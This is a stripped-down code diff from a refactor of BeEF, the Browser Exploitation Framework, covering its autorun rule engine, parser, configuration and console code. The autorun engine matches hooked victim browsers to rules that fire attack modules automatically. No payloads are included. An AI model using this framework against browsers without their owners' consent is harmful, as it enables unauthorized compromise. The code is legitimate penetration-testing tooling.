os_ver_hook_min = os_version.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if !os_version.nil? && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
if os_version == 'XP'
os_ver_hook_maj = 5
os_ver_hook_min = 0
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser !~ /\A[A-Z]+\Z/
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
else
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
if browser_version_match
browser_match = true
else
browser_match = false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
if os_version == 'Vista'
os_ver_hook_maj = 6
os_ver_hook_min = 0
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
if os_ver_rule_maj == 'XP'
os_ver_rule_maj = 5
os_ver_rule_min = 0
end
if os_ver_rule_maj == 'Vista'
os_ver_rule_maj = 6
os_ver_rule_min = 0
end
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters.is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser =~ /\A[A-Z]+\Z/
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
browser_match = if browser_version_match
true
else
false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
else
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if !os_version.nil? || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match = true
os_minor_version_match = true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
match_rules
end
# compare versions
@@ -491,7 +491,8 @@ module BeEF
return true if cond == '<' && ver_a < ver_b
return true if cond == '>=' && ver_a >= ver_b
return true if cond == '>' && ver_a > ver_b
return false
false
end
end
end

View File

@@ -6,84 +6,80 @@
module BeEF
module Core
module AutorunEngine
class Parser
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
BROWSER = ['FF','C','IE','S','O','ALL']
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
CHAIN_MODE = ['sequential','nested-forward']
BROWSER = %w[FF C IE S O ALL]
OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]
VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']
CHAIN_MODE = %w[sequential nested-forward]
MAX_VER_LEN = 15
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
def parse(name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser
if browser.kind_of?(Array)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if browser_version != 'ALL'
return [false, 'Illegal browser_version definition'] unless
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
end
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser
if browser.is_a?(Array)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if os_version != 'ALL'
return [false, 'Illegal os_version definition'] unless
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN)
return [false, 'Illegal browser_version definition']
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end
if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN)
return [false, 'Illegal os_version definition']
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
if mod.nil?
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
else
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
end
end
exec_order.each { |order| return [false, 'execution_order values must be Integers'] unless order.integer? }
exec_delay.each { |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer? }
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue StandardError => e
print_error e.message.to_s
print_debug e.backtrace.join("\n").to_s
[false, 'Something went wrong.']
end
end
end

View File

@@ -6,9 +6,7 @@
module BeEF
module Core
module AutorunEngine
class RuleLoader
include Singleton
def initialize
@@ -18,78 +16,74 @@ module BeEF
# this expects parsed JSON as input
def load(data)
begin
name = data['name']
author = data['author']
browser = data['browser'] || 'ALL'
browser_version = data['browser_version'] || 'ALL'
os = data['os'] || 'ALL'
os_version = data['os_version'] || 'ALL'
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
name = data['name']
author = data['author']
browser = data['browser']||'ALL'
browser_version = data['browser_version']||'ALL'
os = data['os']||'ALL'
os_version = data['os_version']||'ALL'
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode
)
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more "Modules to Trigger:"
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more "(*) Options:"
mod['options'].each do |key,value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more 'Modules to Trigger:'
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more '(*) Options:'
mod['options'].each do |key, value|
print_more "\t#{key}: (#{value})"
end
end
are_rule = BeEF::Core::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
are_rule = BeEF::Core::Models::Rule.new(
name: name,
author: author,
browser: browser,
browser_version: browser_version,
os: os,
os_version: os_version,
modules: modules.to_json,
execution_order: exec_order,
execution_delay: exec_delay,
chain_mode: chain_mode
)
are_rule.save
{ 'success' => true, 'rule_id' => are_rule.id }
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
{ 'success' => false, 'error' => parser_result.last }
end
rescue StandardError => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
{ 'success' => false, 'error' => err }
end
def load_file(json_rule_path)
begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
end
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue StandardError => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}"
end
def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
print_debug "[ARE] Processing rule: #{rule}"
self.load_file rule
load_file rule
end
end
end

View File

@@ -43,7 +43,7 @@ module BeEF
#
class Command
attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname,
:config
:config
attr_accessor :zombie, :command_id, :session_id
include BeEF::Core::CommandUtils
@@ -100,12 +100,12 @@ module BeEF
# Returns information about the command in a JSON format.
# @return [String] JSON formatted string
#
def to_json
def to_json(*_args)
{
'Name' => @friendlyname,
'Name' => @friendlyname,
'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"),
'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"),
'Data' => BeEF::Module.get_options(@key)
'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"),
'Data' => BeEF::Module.get_options(@key)
}.to_json
end
@@ -116,7 +116,7 @@ module BeEF
#
def build_datastore(data)
@datastore = JSON.parse data
rescue => e
rescue StandardError => e
print_error "Could not build datastore: #{e.message}"
end
@@ -126,7 +126,7 @@ module BeEF
# @param [Hash] http_headers HTTP headers
#
def build_callback_datastore(result, command_id, beefhook, http_params, http_headers)
@datastore = {'http_headers' => {}} # init the datastore
@datastore = { 'http_headers' => {} } # init the datastore
if !http_params.nil? && !http_headers.nil?
# get, check and add the http_params to the datastore
@@ -166,7 +166,7 @@ module BeEF
@datastore['results'] = result
@datastore['cid'] = command_id
@datastore['beefhook'] = beefhook
@datastore['beefhook'] = beefhook
end
#
@@ -184,7 +184,7 @@ module BeEF
@eruby = Erubis::FastEruby.new(File.read(f))
#data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}"
# data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}"
cc = BeEF::Core::CommandContext.new
cc['command_url'] = @default_command_url
cc['command_id'] = @command_id
@@ -226,7 +226,7 @@ module BeEF
def use(component)
return if @beefjs_components.include? component
component_path = '/'+component
component_path = '/' + component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
@@ -238,8 +238,9 @@ module BeEF
# @todo TODO Document
def oc_value(name)
option = BeEF::Core::Models::OptionCache.where(:name => name).first
option = BeEF::Core::Models::OptionCache.where(name: name).first
return nil unless option
option.value
end
@@ -250,8 +251,6 @@ module BeEF
end
end
private
@use_template
@eruby
@update_zombie

View File

@@ -24,12 +24,12 @@ module BeEF
raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config
begin
#open base config
# open base config
@config = load(config)
# set default value if key? does not exist
@config.default = nil
@@config = config
rescue => e
rescue StandardError => e
print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
print_error e.backtrace
end
@@ -42,9 +42,10 @@ module BeEF
# @return [Hash] YAML formatted hash
def load(file)
return nil unless File.exist? file
raw = File.read file
YAML.safe_load raw
rescue => e
rescue StandardError => e
print_debug "Unable to load configuration file '#{file}' : #{e.message}"
print_error e.backtrace
end
@@ -56,7 +57,7 @@ module BeEF
if @config.empty?
print_error 'Configuration file is empty'
return
end
end
if @config['beef'].nil?
print_error "Configuration file is malformed: 'beef' is nil"
@@ -136,17 +137,17 @@ module BeEF
def public_enabled?
!get('beef.http.public.host').nil?
end
#
# Returns the beef protocol that is used by external resources
# e.g. hooked browsers
def beef_proto
if public_enabled? && public_https_enabled? then
return 'https'
if public_enabled? && public_https_enabled?
'https'
elsif public_enabled? && !public_https_enabled?
return 'http'
'http'
elsif !public_enabled?
return local_proto
local_proto
end
end
@@ -201,6 +202,7 @@ module BeEF
hash[k]
end
return nil if subhash.nil?
subhash.key?(lastkey) ? subhash[lastkey] : nil
end
@@ -215,7 +217,7 @@ module BeEF
return false if subkeys.empty?
hash = { subkeys.shift.to_s => value }
subkeys.each { |v| hash = {v.to_s => hash} }
subkeys.each { |v| hash = { v.to_s => hash } }
@config = @config.deep_merge hash
true
end
@@ -231,7 +233,7 @@ module BeEF
lastkey = subkeys.pop
hash = @config
subkeys.each {|v| hash = hash[v] }
subkeys.each { |v| hash = hash[v] }
hash.delete(lastkey).nil? ? false : true
end
@@ -258,7 +260,7 @@ module BeEF
def load_modules_config
set('beef.module', {})
# support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
module_configs = File.join("#{$root_dir}/modules/**", "config.yaml")
module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml')
Dir.glob(module_configs) do |cf|
y = load(cf)
if y.nil?
@@ -280,9 +282,8 @@ module BeEF
private
def validate_public_config_variable?(config)
return true if (config['beef']['http']['public'].is_a?(Hash) ||
config['beef']['http']['public'].is_a?(NilClass))
return true if config['beef']['http']['public'].is_a?(Hash) ||
config['beef']['http']['public'].is_a?(NilClass)
print_error 'Config path beef.http.public is deprecated.'
print_error 'Please use the new format for public variables found'

View File

@@ -4,140 +4,138 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Console
module Core
module Console
module Banners
class << self
attr_accessor :interfaces
module Banners
class << self
attr_accessor :interfaces
#
# Prints BeEF's ascii art
#
def print_ascii_art
if File.exists?('core/main/console/beef.ascii')
File.open('core/main/console/beef.ascii', 'r') do |f|
#
# Prints BeEF's ascii art
#
def print_ascii_art
if File.exist?('core/main/console/beef.ascii')
File.open('core/main/console/beef.ascii', 'r') do |f|
while line = f.gets
puts line
puts line
end
end
end
end
#
# Prints BeEF's welcome message
#
def print_welcome_msg
config = BeEF::Core::Configuration.instance
version = config.get('beef.version')
print_info "Browser Exploitation Framework (BeEF) #{version}"
data = "Twit: @beefproject\n"
data += "Site: https://beefproject.com\n"
data += "Blog: http://blog.beefproject.com\n"
data += "Wiki: https://github.com/beefproject/beef/wiki\n"
print_more data
print_info 'Project Creator: ' + 'Wade Alcorn'.red + ' (@WadeAlcorn)'
end
#
# Prints the number of network interfaces beef is operating on.
# Looks like that:
#
# [14:06:48][*] 5 network interfaces were detected.
#
def print_network_interfaces_count
# get the configuration information
configuration = BeEF::Core::Configuration.instance
# local host
beef_host = configuration.local_host
# create an array of the interfaces the framework is listening on
if beef_host == '0.0.0.0' # the framework will listen on all interfaces
interfaces = Socket.ip_address_list.map { |x| x.ip_address if x.ipv4? }
interfaces.delete_if { |x| x.nil? } # remove if the entry is nill
else # the framework will listen on only one interface
interfaces = [beef_host]
end
self.interfaces = interfaces
# output the banner to the console
print_info "#{interfaces.count} network interfaces were detected."
end
#
# Prints the route to the network interfaces beef has been deployed on.
# Looks like that:
#
# [14:06:48][+] running on network interface: 192.168.255.1
# [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js
# [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel
# [14:06:48][+] running on network interface: 127.0.0.1
# [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js
# [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel
#
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
# local config settings
proto = configuration.local_proto
hook_file = configuration.hook_file_path
admin_ui = configuration.get('beef.extension.admin_ui.enable') ? true : false
admin_ui_path = configuration.get('beef.extension.admin_ui.base_path')
# display the hook URL and Admin UI URL on each interface from the interfaces array
interfaces.map do |host|
print_info "running on network interface: #{host}"
port = configuration.local_port
data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
print_more data
end
# display the public hook URL and Admin UI URL
if configuration.public_enabled?
print_info 'Public:'
data = "Hook URL: #{configuration.hook_url}\n"
data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui
print_more data
end
end
#
# Print loaded extensions
#
def print_loaded_extensions
extensions = BeEF::Extensions.get_loaded
print_info "#{extensions.size} extensions enabled:"
output = ''
extensions.each do |_key, ext|
output << "#{ext['name']}\n"
end
print_more output
end
#
# Print loaded modules
#
def print_loaded_modules
print_info "#{BeEF::Modules.get_enabled.count} modules enabled."
end
#
# Print WebSocket servers
#
def print_websocket_servers
config = BeEF::Core::Configuration.instance
ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout')
print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get('beef.http.websocket.port').to_i} [timer: #{ws_poll_timeout}]"
if config.get('beef.http.websocket.secure')
print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get('beef.http.websocket.secure_port').to_i} [timer: #{ws_poll_timeout}]"
end
end
end
end
#
# Prints BeEF's welcome message
#
def print_welcome_msg
config = BeEF::Core::Configuration.instance
version = config.get('beef.version')
print_info "Browser Exploitation Framework (BeEF) #{version}"
data = "Twit: @beefproject\n"
data += "Site: https://beefproject.com\n"
data += "Blog: http://blog.beefproject.com\n"
data += "Wiki: https://github.com/beefproject/beef/wiki\n"
print_more data
print_info "Project Creator: " + "Wade Alcorn".red + " (@WadeAlcorn)"
end
#
# Prints the number of network interfaces beef is operating on.
# Looks like that:
#
# [14:06:48][*] 5 network interfaces were detected.
#
def print_network_interfaces_count
# get the configuration information
configuration = BeEF::Core::Configuration.instance
# local host
beef_host = configuration.local_host
# create an array of the interfaces the framework is listening on
if beef_host == '0.0.0.0' # the framework will listen on all interfaces
interfaces = Socket.ip_address_list.map {|x| x.ip_address if x.ipv4?}
interfaces.delete_if {|x| x.nil?} # remove if the entry is nill
else # the framework will listen on only one interface
interfaces = [beef_host]
end
self.interfaces = interfaces
# output the banner to the console
print_info "#{interfaces.count} network interfaces were detected."
end
#
# Prints the route to the network interfaces beef has been deployed on.
# Looks like that:
#
# [14:06:48][+] running on network interface: 192.168.255.1
# [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js
# [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel
# [14:06:48][+] running on network interface: 127.0.0.1
# [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js
# [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel
#
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
# local config settings
proto = configuration.local_proto
hook_file = configuration.hook_file_path
admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false
admin_ui_path = configuration.get("beef.extension.admin_ui.base_path")
# display the hook URL and Admin UI URL on each interface from the interfaces array
self.interfaces.map do |host|
print_info "running on network interface: #{host}"
port = configuration.local_port
data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
print_more data
end
# display the public hook URL and Admin UI URL
if configuration.public_enabled?
print_info 'Public:'
data = "Hook URL: #{configuration.hook_url}\n"
data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui
print_more data
end
end
#
# Print loaded extensions
#
def print_loaded_extensions
extensions = BeEF::Extensions.get_loaded
print_info "#{extensions.size} extensions enabled:"
output = ''
extensions.each do |key, ext|
output << "#{ext['name']}\n"
end
print_more output
end
#
# Print loaded modules
#
def print_loaded_modules
print_info "#{BeEF::Modules::get_enabled.count} modules enabled."
end
#
# Print WebSocket servers
#
def print_websocket_servers
config = BeEF::Core::Configuration.instance
ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout')
print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]"
if config.get("beef.http.websocket.secure")
print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]"
end
end
end
end
end
end
end

View File

@@ -10,14 +10,13 @@ module BeEF
# This module parses the command line argument when running beef.
#
module CommandLine
@options = Hash.new
@options = {}
@options[:verbose] = false
@options[:resetdb] = false
@options[:ascii_art] = false
@options[:ext_config] = ""
@options[:port] = ""
@options[:ws_port] = ""
@options[:ext_config] = ''
@options[:port] = ''
@options[:ws_port] = ''
@options[:interactive] = false
@options[:update_disabled] = false
@options[:update_auto] = false
@@ -31,56 +30,52 @@ module BeEF
def self.parse
return @options if @already_parsed
begin
optparse = OptionParser.new do |opts|
opts.on('-x', '--reset', 'Reset the database') do
@options[:resetdb] = true
end
opts.on('-v', '--verbose', 'Display debug information') do
@options[:verbose] = true
end
opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do
@options[:ascii_art] = true
end
opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f|
@options[:ext_config] = f
end
opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|
@options[:port] = p
end
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
@options[:ws_port] = ws_port
end
opts.on('-ud', '--update_disabled', 'Skips update') do
@options[:update_disabled] = true
end
opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do
@options[:update_auto] = true
end
#opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
# @options[:interactive] = true
#end
optparse = OptionParser.new do |opts|
opts.on('-x', '--reset', 'Reset the database') do
@options[:resetdb] = true
end
optparse.parse!
@already_parsed = true
@options
rescue OptionParser::InvalidOption => e
puts "Invalid command line option provided. Please run beef --help"
exit 1
opts.on('-v', '--verbose', 'Display debug information') do
@options[:verbose] = true
end
opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do
@options[:ascii_art] = true
end
opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f|
@options[:ext_config] = f
end
opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|
@options[:port] = p
end
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
@options[:ws_port] = ws_port
end
opts.on('-ud', '--update_disabled', 'Skips update') do
@options[:update_disabled] = true
end
opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do
@options[:update_auto] = true
end
# opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
# @options[:interactive] = true
# end
end
optparse.parse!
@already_parsed = true
@options
rescue OptionParser::InvalidOption
puts 'Invalid command line option provided. Please run beef --help'
exit 1
end
end
end
end
end

View File

@@ -5,68 +5,62 @@
#
module BeEF
module Core
module Constants
module Core
module Constants
module Browsers
FF = 'FF' # Firefox
M = 'M' # Mozilla
IE = 'IE' # Internet Explorer
E = 'E' # Microsoft Edge
S = 'S' # Safari
EP = 'EP' # Epiphany
K = 'K' # Konqueror
C = 'C' # Chrome
O = 'O' # Opera
A = 'A' # Avant
MI = 'MI' # Midori
OD = 'OD' # Odyssey
BR = 'BR' # Brave
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
module Browsers
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozilla'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_E_NAME = 'MSEdge'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_EP_NAME = 'Epiphany'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
FRIENDLY_O_NAME = 'Opera'
FRIENDLY_A_NAME = 'Avant'
FRIENDLY_MI_NAME = 'Midori'
FRIENDLY_OD_NAME = 'Odyssey'
FRIENDLY_BR_NAME = 'Brave'
FRIENDLY_UN_NAME = 'UNKNOWN'
FF = 'FF' # Firefox
M = 'M' # Mozilla
IE = 'IE' # Internet Explorer
E = 'E' # Microsoft Edge
S = 'S' # Safari
EP = 'EP' # Epiphany
K = 'K' # Konqueror
C = 'C' # Chrome
O = 'O' # Opera
A = 'A' # Avant
MI = 'MI' # Midori
OD = 'OD' # Odyssey
BR = 'BR' # Brave
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozilla'
